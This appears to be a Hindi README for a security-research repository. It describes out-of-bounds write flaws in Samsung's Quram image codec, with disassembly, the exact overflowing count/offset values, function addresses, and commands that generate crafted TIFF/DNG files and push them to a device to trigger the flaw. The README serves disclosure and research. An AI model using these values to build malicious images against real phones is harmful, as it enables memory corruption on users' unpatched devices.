
Samsung के libimagecodec.quram.so में आउट-ऑफ-बाउंड राइट्स ट्रिगर करने के लिए क्राफ्टेड TIFF/DNG फ़ाइलें उत्पन्न करता है, जिसमें बाइनरी विश्लेषण और पुनरुत्पादन चरण शामिल हैं।
इस रिपॉजिटरी में अवधारणात्मक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) फ़ाइलें हैं जो सैमसंग एंड्रॉइड डिवाइसों पर उपयोग होने वाली Quramsoft इमेज कोडेक लाइब्रेरी (libimagecodec.quram.so) में आउट-ऑफ-बाउंड (OOB) राइट कमजोरियों को प्रदर्शित करती हैं।
| CVE | फ़ॉर्मेट | प्रकार | गंभीरता | CVSS 4.0 | पैच संस्करण |
|---|---|---|---|---|---|
| CVE-2026-21045 | TIFF | आउट-ऑफ-बाउंड राइट (CWE-787) | गंभीर | 8.4 | SMR Jul-2026 Release 1 |
| CVE-2026-21048 | DNG | आउट-ऑफ-बाउंड राइट (CWE-787) | उच्च | — | SMR Jul-2026 Release 1 |
/system/lib64/libimagecodec.quram.soयह कमजोरी IFD (इमेज फ़ाइल डायरेक्टरी) टैग पार्सिंग फ़ंक्शन WINKJ_ReadExifField (64-बिट बाइनरी में ऑफ़सेट 0x13a0a8) में स्थित है। यह फ़ंक्शन व्यक्तिगत TIFF/EXIF IFD प्रविष्टियों को संसाधित करता है, जिनमें से प्रत्येक एक 12-बाइट संरचना है:
Offset Size Field
------ ---- -----
0 2 Tag ID
2 2 Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4 4 Count (number of values)
8 4 Value / Offset to data
जब count * element_size > 4 होता है, तो 4-बाइट Value फ़ील्ड को फ़ाइल ऑफ़सेट के रूप में माना जाता है (जहाँ वास्तविक डेटा रहता है)। कोड फिर पते 0x13a258 पर बाउंड्स जाँच करता है:
add w8, w6, w7 ; w8 = value_offset + (count * element_size) [32-bit]
cmp w8, w5 ; compare against remaining buffer size
b.ls ok ; if w8 <= buffer_size, proceed
यह कमजोरी योग में 32-बिट अहस्ताक्षरित इंटीजर ओवरफ़्लो है। यदि कोई हमलावर value_offset और count * element_size को इस तरह तैयार करता है कि उनका योग छोटे मान में लपेट जाए, तो जाँच पास हो जाती है, भले ही base + value_offset पर वास्तविक मेमोरी एक्सेस सीमा से बाहर हो।
उदाहरण (UNDEFINED प्रकार, element_size = 1):
32-बिट जोड़ 0x17FFF + 0xFFFF0001 = 0x10008000 घटकर 0x8000 हो जाता है, जो buffer_size के बराबर है। जाँच पास हो जाती है, लेकिन वास्तविक डेटा पॉइंटर (base + 0x17FFF) आवंटित बफ़र के अंत से 0x7FFF बाइट आगे स्थित है।
TIFFReadDirectory / WINKJ_ReadTiffInfo
└─> WINKJ_ReadTiffIFDInfo (allocates IFD buffer)
└─> for each IFD entry:
└─> WINKJ_ReadExifField (parses entry, reads value data)
└─> Switch on Data Type (jump table at 0x13a15c)
├─ Type 0 (BYTE/ASCII/UNDEFINED): handler at 0x13a15c
├─ Type 3/8 (SHORT/SSHORT): handler at 0x13a1d0
├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
└─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
Each handler -> reads data at offset -> bounds check at 0x13a258
| फ़ाइल | विवरण |
|---|---|
cve-2026-21045_tiff_oob_poc.py | poc_crash.tif उत्पन्न करता है — दोषपूर्ण TIFF जो ASCII टैग के माध्यम से क्राफ्टेड count/offset के साथ OOB राइट ट्रिगर करता है |
cve-2026-21048_dng_oob_poc.py | poc_crash.dng उत्पन्न करता है — दोषपूर्ण DNG जो UNDEFINED टैग के माध्यम से क्राफ्टेड count/offset के साथ OOB राइट ट्रिगर करता है |
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif
# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng
# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff
एक अनपैच्ड डिवाइस (सुरक्षा पैच < जुलाई 2026) पर, सैमसंग गैलरी (या Quram डिकोडर का उपयोग करने वाले किसी भी ऐप) में क्राफ्टेड TIFF/DNG फ़ाइल खोलने से हीप मेमोरी क्षति हो सकती है, जिससे संभावित रूप से:
एक पैच्ड डिवाइस (SMR Jul-2026+) पर, इमेज को या तो अमान्य के रूप में अस्वीकार किया जाना चाहिए या सुरक्षित रूप से संसाधित किया जाना चाहिए। पूरी तरह से पैच किए गए डिवाइस पर क्रैश एक अलग अनपैच्ड समस्या का संकेत दे सकता है।
File: libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK: r23c (Android 21)
Built: 2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so
element_size = 1 वाले सभी प्रकार (BYTE, ASCII, UNDEFINED) एक ही हैंडलर साझा करते हैं और इंटीजर ओवरफ़्लो बायपास के लिए समान रूप से कमजोर हैं।
ये प्रूफ-ऑफ-कॉन्सेप्ट केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किए गए हैं। ये कमजोरी की प्रक्रिया को प्रदर्शित करते हैं ताकि उपयोगकर्ताओं और डेवलपर्स को जोखिम समझने में मदद मिले। इन्हें उन सिस्टमों के खिलाफ उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए स्पष्ट अनुमति नहीं है।
| फ़ील्ड | मान (हेक्स) | दशमलव |
|---|
count | 0xFFFF0001 | 4,294,901,761 |
element_size | 1 | 1 |
count * element_size | 0xFFFF0001 ≡ -65535 (mod 2³²) | 4,294,901,761 |
value_offset | 0x00017FFF | 98,303 |
value_offset + count*size | 0x00008000 (ओवरफ़्लो!) | 32,768 |
buffer_size | 0x00008000 | 32,768 |
जाँच परिणाम: 0x8000 <= 0x8000 | ✅ पास | — |
वास्तविक मेमोरी एक्सेस: base + 0x17FFF | बफ़र से 0x7FFF बाइट आगे | ❌ OOB |
| फ़ंक्शन | पता (64-बिट) | आकार | उद्देश्य |
|---|
WINKJ_ReadExifField | 0x13a0a8 | 912 | व्यक्तिगत IFD प्रविष्टि को पार्स करता है (कमजोर) |
WINKJ_ReadTiffIFDInfo | 0x139d28 | 896 | सभी IFD प्रविष्टियों को पढ़ता है |
WINKJ_ReadTiffInfo | 0x139ad4 | 596 | उच्च-स्तरीय TIFF जानकारी पार्सर |
WINKJ_GetTiffInfo | 0x1393fc | 1752 | मुख्य TIFF पार्सिंग प्रवेश बिंदु |
decodeTIFF | 0x1a2adc | 580 | libtiff के माध्यम से TIFF इमेज डिकोड करता है |
getTIFFImageInfo | 0x1a2d20 | 508 | TIFF इमेज मेटाडेटा प्राप्त करता है |
copySubImageBuffer | 0x0b2824 | 324 | उप-इमेज क्षेत्र की प्रतिलिपि बनाता है |
TIFFReadDirectory | 0x1aac78 | 5896 | libtiff 4.6.0 डायरेक्टरी रीडर |
_TIFFMultiply32 | 0x1a2f1c | 56 | सुरक्षित 32-बिट गुणन जाँच |
_TIFFMultiply64 | 0x1a2f58 | 48 | सुरक्षित 64-बिट गुणन जाँच |
| प्रकार | नाम | एलिमेंट आकार | हैंडलर पता |
|---|
| 1 | BYTE | 1 | 0x13a15c |
| 2 | ASCII | 1 | 0x13a15c |
| 3 | SHORT | 2 | 0x13a1d0 |
| 4 | LONG | 4 | 0x13a17c |
| 5 | RATIONAL | 8 | 0x13a1ac |
| 6 | SBYTE | 1 | 0x13a15c |
| 7 | UNDEFINED | 1 | 0x13a15c |
| 8 | SSHORT | 2 | 0x13a1d0 |
| 9 | SLONG | 4 | 0x13a17c |
| 10 | SRATIONAL | 8 | 0x13a1ac |
| 11 | FLOAT | 4 | 0x13a17c |
| 12 | DOUBLE | 8 | 0x13a1ac |
| CVE | विवरण | स्थिति |
|---|
| CVE-2025-58477 | libimagecodec.quram.so में IFD टैग पार्सिंग में OOB राइट (SMR Dec-2025) | ✅ पैच किया गया |
| CVE-2026-20973 | libimagecodec.quram.so में OOB रीड (SMR Jan-2026) | ✅ पैच किया गया |
| CVE-2026-21045 | libimagecodec.media.quram.so में TIFF पार्सिंग में OOB राइट (SMR Jul-2026) | ⚠️ मेरे लिए अनपैच्ड |
| CVE-2026-21048 | libimagecodec.media.quram.so में DNG पार्सिंग में OOB राइट (SMR Jul-2026) | ⚠️ मेरे लिए अनपैच्ड |
| CVE-2026-4775 | libtiff 4.6.0 putcontig8bitYCbCr44tile में हस्ताक्षरित इंटीजर ओवरफ़्लो | ⚠️ मेरे लिए अनपैच्ड |
| CVE-2024-7006 | libtiff tif_dirinfo.c में NULL डीरेफरेंस | ✅ 4.6.1 में सुधारा गया |